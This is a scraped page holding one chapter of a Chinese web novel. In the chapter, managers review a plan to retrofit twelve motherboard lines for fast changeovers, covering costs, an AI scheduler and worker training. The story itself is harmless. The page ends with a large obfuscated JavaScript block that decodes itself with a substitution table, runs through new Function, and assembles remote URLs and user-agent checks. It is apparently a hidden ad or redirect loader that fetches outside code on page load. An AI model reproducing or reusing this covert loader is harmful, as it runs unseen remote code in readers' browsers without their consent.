首页
第352章 合城产线的柔性化
返回
关灯 护眼:关 字号:小

第352章 合城产线的柔性化改造

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    老韩站在一条刚刚完成改造的产线前,手里拿着一台终端,上面显示着这条产线过去一周的运行数据。他的身后站着产线负责人丶设备工程师丶工艺工程师,以及从芯谷赶来的林薇和章宸。产线的传送带在安静地运转,机械臂精准地抓取丶放置丶焊接丶测试,每三十秒就有一块天权4号主板下线。
    这条产线原本只生产天权4号的标准版。改造后,它可以在十五分钟内切换生产天权4号标准版丶青春版丶以及车规版三种不同的型号。这就是柔性化改造的核心目标——让同一条产线能够快速切换生产不同产品,而不需要停产数天来调整设备。
    改造的需求来自三个月前的一次生产调度会。当时,天权4号青春版的市场需求突然暴增,但青春版和标准版的产线是分开的,标准版产线满负荷运转,青春版产线产能不足。老韩想从标准版产线调拨产能,但发现切换一次至少需要两天时间——换夹具丶调参数丶改程序丶重新验证,一套流程走下来,黄花菜都凉了。那次事件让老韩下定决心,要对合城产线进行彻底的柔性化改造。
    会议开始前,老韩先带着林薇和章宸参观了改造后的示范线。
    「这条线是我们柔性化改造的第一条试点线,投资一千两百万,改造周期八周。改造的核心思路是——设备平台化丶夹具通用化丶程序参数化丶物流自动化。」
    本书首发台湾小説网→??????????.??????,提供给你无错章节,无乱序章节的阅读体验
    他指着产线的第一个工位——贴片机。
    「贴片机以前是专用的,只贴一种尺寸的主板。改造后,我们换了新款的贴片机,可以自动识别主板尺寸,自动调整贴装头的位置和压力。换产的时候,操作工只需要在终端上选择产品型号,贴片机就会自动加载对应的程序丶自动调整参数,整个过程不到两分钟。」
    走到第二个工位——回流焊炉。
    「回流焊炉的温度曲线,以前是靠人工调,换一种产品就要重新测温度丶重新调参数,至少两个小时。改造后,我们给回流焊炉加装了一套自动温控系统,预存了三种产品的温度曲线。换产时,操作工一键切换,炉子自动调整各区温度,五分钟就能稳定。」
    章宸问了一个关键问题:「不同产品的工艺参数差异有多大?自动切换能保证质量吗?」
    老韩调出了质量对比数据。「我们做了对比测试——人工切换的产线,换产后的前五十片主板,不良率百分之一点二。自动切换的产线,换产后的前五十片主板,不良率百分之零点八。自动切换比人工切换还稳定,因为机器不会疲劳丶不会出错。」
    林薇在笔记本上记下了「自动切换不良率零点八」这个数字。
    走到第三个工位——在线测试仪。
    「测试仪是柔性化改造的重点。以前每款产品有专用的测试夹具,换产就要换夹具,一套夹具五千块,换一次半小时。改造后,我们开发了通用测试夹具,通过可编程的探针阵列,可以适配不同尺寸丶不同测试点布局的主板。换产时,夹具自动调整探针位置,不需要人工换夹具。测试程序也是自动加载的,操作工只需要扫描主板上的二维码,测试仪就知道该跑哪个程序。」
    章宸蹲下来,仔细看了看通用测试夹具的结构。探针阵列密密麻麻,每根探针都可以独立控制升降。他问:「探针的寿命怎么样?」
    老韩回答:「探针是镀金触点的,寿命十万次。每条线每天测试两千块主板,探针可以用五十天。五十天后统一更换,成本每根探针五块钱,一套夹具五百根探针,更换成本两千五。比原来每换一款产品就买一套五千块的专用夹具,省多了。」
    参观完示范线,一行人回到会议室,开始正式的柔性化改造方案评审会。
    老韩先做了总体汇报。
    「合城产业园目前有十二条产线,其中八条是刚性产线——只能生产单一产品,换产周期超过二十四小时。四条是半柔性产线——可以在同系列产品间切换,换产周期两到四小时。我们的目标是——在未来六个月内,把八条刚性产线全部改造成柔性产线,换产周期压缩到十五分钟以内。同时,把四条半柔性产线的换产周期从两到四小时压缩到三十分钟以内。」
    「总投资预算八千万——设备改造六千万,软体系统两千万。改造完成后,合城产业园的整体产能利用率可以提升百分之十五,库存周转率提升百分之三十,订单交付周期缩短百分之四十。」
    林薇问了一个问题:「八千万的投资,回报周期多长?」
    老韩调出了财务分析表。「按照目前的产能利用率和订单结构,柔性化改造后,每年可以节省换产损失三千万元——主要是减少的停产时间和降低的库存成本。另外,柔性化改造可以让我们承接更多小批量丶多品种的订单,每年可以增加收入五千万元。综合算下来,投资回报周期大约一年。如果考虑到应对市场波动的柔性能力,回报周期更短。」
    苏黛补充了一句:「柔性化改造还有一个隐性收益——抗风险能力。制裁落地后,订单结构可能会剧烈变化,某些产品的需求突然归零,另一些产品的需求暴增。如果没有柔性产线,我们根本来不及调整。这个抗风险能力,不能用钱衡量。」
    章宸点了点头,转向技术细节。
    「柔性化改造的技术方案,核心是三个层面——设备层丶控制层丶调度层。」
    他走到白板前,画了一张三层架构图。
    「设备层,就是老韩刚才带我们看的那些——可编程的贴片机丶自动调温的回流焊炉丶通用测试夹具。设备层的改造,投资最大丶周期最长,占整个改造预算的百分之七十五。」
    「控制层,是产线的控制系统。每条产线有一个本地控制器,负责协调各个设备的动作丶监控工艺参数丶采集质量数据。控制层的改造,主要是软体升级——把原来硬编码的控制逻辑,改成参数驱动的可配置逻辑。换产时,控制器从调度层下载产品参数包,然后自动配置各个设备。」
    「调度层,是整个柔性制造系统的核心。它负责三件事——第一,接收生产计划,分解成每个产线的生产任务。第二,管理产品参数库,每个产品的工艺参数丶测试程序丶物料清单都存在参数库里。第三,调度物料配送,根据产线的生产节奏,自动安排物料从仓库到产线的配送。」
    章宸讲完,老周——负责产线自动化的工程师——补充了调度层的实现细节。
    「调度层我们用了天权5晶片作为核心控制器,配合小芯的AI模型做生产调度优化。AI模型会根据订单优先级丶物料库存丶设备状态丶人员排班等多个因素,动态调整生产计划。比如,如果某个物料的库存告急,AI会自动把依赖该物料的生产任务往后排,先把不缺料的产品做了。如果某条产线的设备出现故障,AI会自动把该产线的任务转移到其他产线。」
    「调度层的开发,我们已经做了三个月,完成了核心框架和基本功能。接下来的三个月,要做三件事——第一,完善AI调度模型,用历史数据训练,提高调度的准确性和效率。第二,开发可视化调度界面,让生产管理员可以直观地看到每条产线的状态丶每个订单的进度。第三,和仓库管理系统丶物流系统对接,实现从订单到交付的全流程自动化。」
    林薇问了一个问题:「调度层如果出故障,会不会导致整个产线瘫痪?」
    老周回答:「调度层设计了冗余和降级两种保护机制。冗余——核心伺服器一主一备,主伺服器故障,备伺服器零点五秒内接管。降级——如果调度层完全瘫痪,每条产线可以切换到本地控制模式,操作工手动排产。虽然效率降低,但产线不会停。」
    会议进入第二个议题——柔性化改造的分期实施计划。
    老韩调出了一张甘特图。
     「第一期,两个月内,改造三条产线——就是刚才参观的那条示范线,再加上两条正在改造的线。三条线改造完成后,我们就有了一条完整的柔性制造单元,可以验证整个柔性制造系统的稳定性和可靠性。」
    「第二期,再两个月,改造另外三条产线。第一期积累的经验和工具,可以复用到第二期。改造周期可以从八周缩短到六周。」
    「第三期,最后两个月,改造剩下的两条刚性产线,同时优化四条半柔性产线。到第六个月末,合城产业园的十二条产线全部具备柔性生产能力。」
    「每期改造期间,受影响的产线会停产两周。我们需要提前备货,确保改造期间不会断供。苏黛,这个需要你协调。」
    苏黛在笔记本上记下了「备货应对改造停产」几个字。
    章宸问了一个问题:「柔性化改造完成后,产线的产能会受影响吗?」
    老韩调出了产能对比数据。「刚性产线,每小时生产一百二十块主板。柔性产线,因为要频繁调整参数丶切换程序,每小时生产一百块主板,产能下降百分之十七。但柔性产线的利用率可以更高——刚性产线因为换产时间长,很多小批量订单不敢接,利用率平均只有百分之七十。柔性产线换产快,可以承接更多订单,利用率可以提升到百分之八十五。实际产出反而比刚性产线高。」
    林薇点了点头。「产能下降百分之十七,利用率提升百分之十五,实际产出基本持平。但柔性带来的订单响应能力和抗风险能力,是刚性产线无法比拟的。这个帐算得过来。」
    会议进入第三个议题——人员培训和技能提升。
    老韩调出了一份培训计划。
    「柔性化改造不只是设备升级,更是人力的升级。操作工不能只会按按钮,还要会调参数丶会排产丶会处理异常。我们制定了『产线多能工』培训计划。」
    「目标——六个月内,每条产线至少有百分之五十的操作工通过多能工认证,能够独立完成换产丶调参丶故障排除等操作。十二个月内,这个比例提升到百分之八十。」
    「培训内容分为三个等级——初级,掌握基本操作和换产流程。中级,掌握工艺参数调整和常见故障排除。高级,掌握产线调度和异常处理。每个等级都有理论和实操考试,通过后发认证证书。」
    「培训时间和产线改造同步进行。第一期改造的三条线,操作工在改造期间接受培训,改造完成后上岗。培训费用从柔性化改造预算里出,大约两百万。」
    苏黛问了一个问题:「多能工培训出来后,会不会被其他公司挖走?」
    老韩回答:「有这个风险。所以我们要配套激励措施——通过中级认证的,工资上浮百分之十。通过高级认证的,工资上浮百分之二十。另外,多能工有优先晋升通道,可以晋升为班组长丶技术员。用待遇留人丶用发展留人。」
    会议进行到傍晚,所有议题都讨论了一遍。林薇做了总结。
    「合城产线的柔性化改造,方案可行,投资合理,风险可控。六个月内完成十二条产线的改造,这个目标有挑战,但能做到。老韩,你负责整体推进。章宸,你负责调度层的技术把关。苏黛,你负责资源协调和备货安排。」
    「柔性化改造完成后,合城产业园要成为半导体制造行业柔性制造的标杆。不只是我们自己用,还要把经验和工具输出给供应链上的合作夥伴。柔性制造不是未来科技一家的事,是整个产业链的事。」
    所有人点头。
    会议结束后,林薇和老韩留了下来。两人站在会议室的窗前,看着窗外合城二期的夜景。
    「老韩,柔性化改造,你觉得最大的难点是什么?」林薇问。
    老韩想了想,说:「不是技术,是人的观念。很多老员工干了十几年,习惯了固定产线丶固定产品。现在要让他们学新东西丶适应新方式,有抵触情绪。有个老班长跟我说,『韩总,我在这条线上干了八年,闭着眼睛都能操作。你这一改,我又得从头学,学不会怎么办?』」
    「你怎么回答他的?」林薇问。
    「我说,学不会没关系,公司出钱培训丶派师傅带,直到你学会为止。但如果你不想学,那就只能调到其他岗位。产线不会因为你不适应就不改,市场不会因为你不适应就不变。我们要么跟着变,要么被淘汰。」
    林薇沉默了几秒,说:「柔性化改造,改的不只是产线,更是人心。老韩,你抓一下员工的思想工作,让大家理解为什么要改丶改了之后对他们有什么好处。不要只讲技术,要讲愿景。」
    老韩点头。
    林薇的终端震动了,是陈醒发来的消息。
    「合城产线的柔性化改造方案定下来了?」
    林薇回复:「定下来了。六个月内改造十二条产线,投资八千万。换产周期压缩到十五分钟以内,产能利用率提升到百分之八十五。调度层用天权5加小芯AI。」
    陈醒的回覆很快:「好。柔性制造是未来制造的核心竞争力。合城产线改造完成后,要把经验沉淀成方法论,输出给供应链上的关键合作夥伴。产业链的柔性,比单个企业的柔性更重要。」
    林薇回复了一个字:「好。」
    她收起终端,转身对老韩说:「陈醒说了,合城产线改造的经验要输出给供应链。老韩,你从现在开始,把改造过程中的技术文档丶培训材料丶管理流程都整理好。改造完成后,我们要办一个『柔性制造经验分享会』,邀请供应链上的合作夥伴来参观学习。」
    老韩郑重地点了点头。
    林薇走出会议室,沿着走廊向厂房走去。透过玻璃窗,她看到柔性化改造的示范线还在运转,传送带上的主板一块接一块地流过测试仪。操作工在终端前看着数据,工程师在调试新装的自动导引车。
    她走进厂房,走到示范线旁边。一个年轻的操作工正在做换产操作——在终端上选择产品型号,点击确认,然后看着设备自动调整。整个过程不到十分钟,比原来的两天快了不知道多少倍。
    「林总,我觉得柔性化改造挺好的。」那个操作工看到她,笑着说。「以前换一次产,我们要拆夹具丶搬设备丶调参数,累得要死,还容易出错。现在好了,点一下按钮,机器自己干活。我可以腾出时间来学新东西。」
    林薇笑了。「好好学。等拿到了高级认证,工资涨百分之二十,还能当班组长。」
    操作工的眼睛亮了。「真的?」
    「真的。老韩说了,多能工有晋升通道。只要你肯学,公司就给你机会。」
    操作工用力地点了点头,转身继续干活。
    林薇站在产线旁,看了一会儿。
    传送带在安静地运转,机械臂在精准地移动,主板在测试仪上一块接一块地通过。每三十秒,就有一块主板下线,被打上「合格」的标签,装入防静电托盘,由自动导引车运往下一道工序。
    这就是柔性制造的力量——不是更快,而是更聪明。不是取代人,而是让人做更有价值的事。
    她的终端又震动了,这次是梁志远发来的消息。
    「林总,追光Mini的热循环测试完成第三百次,零故障。追光四期的核心模块设计可以冻结了。下周我们开始做整机集成验证的准备。」
    林薇回复:「好。追光四期的进度不能松。柔性化改造和追光四期,是未来科技制造能力的两个支柱——一个解决灵活性,一个解决先进性。两个都要硬。」
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();